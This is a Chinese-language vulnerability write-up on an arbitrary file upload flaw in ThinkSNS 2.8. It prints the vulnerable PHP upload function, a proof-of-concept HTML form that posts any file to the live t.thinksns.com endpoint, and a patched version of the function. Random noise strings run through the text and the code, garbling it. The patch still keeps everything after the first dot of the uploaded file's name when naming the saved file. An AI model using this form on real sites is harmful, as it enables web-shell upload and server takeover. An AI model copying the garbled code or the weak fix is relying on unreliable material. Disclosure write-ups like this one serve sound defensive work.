ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。

* b: k0 B4 q  ?
\api\StatusesApi.class.php

" I) y) H% @, [* s% V/ lfunction uploadpic(){
! n# C6 E* q4 }2 n: t% A      if( $_FILES['pic'] ){
/ o% r6 \5 P" j0 Q# h2 F     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
: }0 C# ]5 c( |+ H4 G, {  C$ N     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
/ \% o+ `* S3 S) M8 m1 o    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
6 n+ a" r# l% b2 E        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
  ~+ B. i- Y9 M3 J        $result['boolen']    = 0;
        $result['message']   = '上传失败';
$ w& n6 h' E1 G, w! b$ Q- h       }
     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
* a- U& F( h5 c$ {6 R     }
return $result;
    }
unloadpic()方法没有对文件类型进行验证
, x! J' L7 H4 I
" o3 n0 S: W& _9 s可以构建表单, 选择任意文件, 提交到
/index.php?app=w3g&mod=Index&act=doPost

1 B2 S3 S7 C. q6 H7 M在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
( X3 X- d1 n- v) m# T0 A
1 ~: r( |2 i& H& m" p
  P- I5 B+ l2 l4 M' g在登录thinksns官方微博后,
* Y+ D) A$ K# T构建以下表单:

<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
file: <input id="file" type="file" name="pic" />
) L+ X8 \) ]! E<input type="submit" value="Post" />
</form>
' a" U) F- T4 @' K去掉缩略图的前缀(small_ )
" B; a  _3 H; |9 H​修复方案：
4 q7 t- H1 |/ D$ w, s
( }6 s1 S( ^& B2 V$ \) r$ D% y. Q
. D. j2 k+ J) J  E# R\api\StatusesApi.class.php
1 f4 e: L" b0 Z+ d& Y
& f- u, u4 O0 F$ A/ x: Efunction uploadpic(){
& Y6 L8 _$ _8 E' C* m" M4 Q' E     /**
      * 20121018 @yelo
- b) _( ]( }! R* i, [6 L      * 增加上传类型验证
; v4 |/ J' ~, }      */
1 Y  a4 G! ]" C( s2 i) A. M8 a# X( ?     $pathinfo = pathinfo($_FILES['pic']['name']);
     $ext = $pathinfo['extension'];
$allowExts = array('jpg', 'png', 'gif', 'jpeg');

2 ~7 B2 Q% V7 G9 e$ e( ]; e     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);

. ?* \' I# M8 d- W     if( $uploadCondition ){
; H+ G) ?9 K$ s. H% M" }     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
3 g* b+ a$ o  @) p3 D# S    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
       }
- f/ v* T- E, _/ J& \; m     }else{
9 b+ v7 i2 M3 a1 m6 {6 z! _: F6 C         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
return $result;
$ R* Q) g/ r3 R' _. z; \    }
, k0 `- \' z" Q9 X​

- j% V8 Q3 n: ]  \% O) v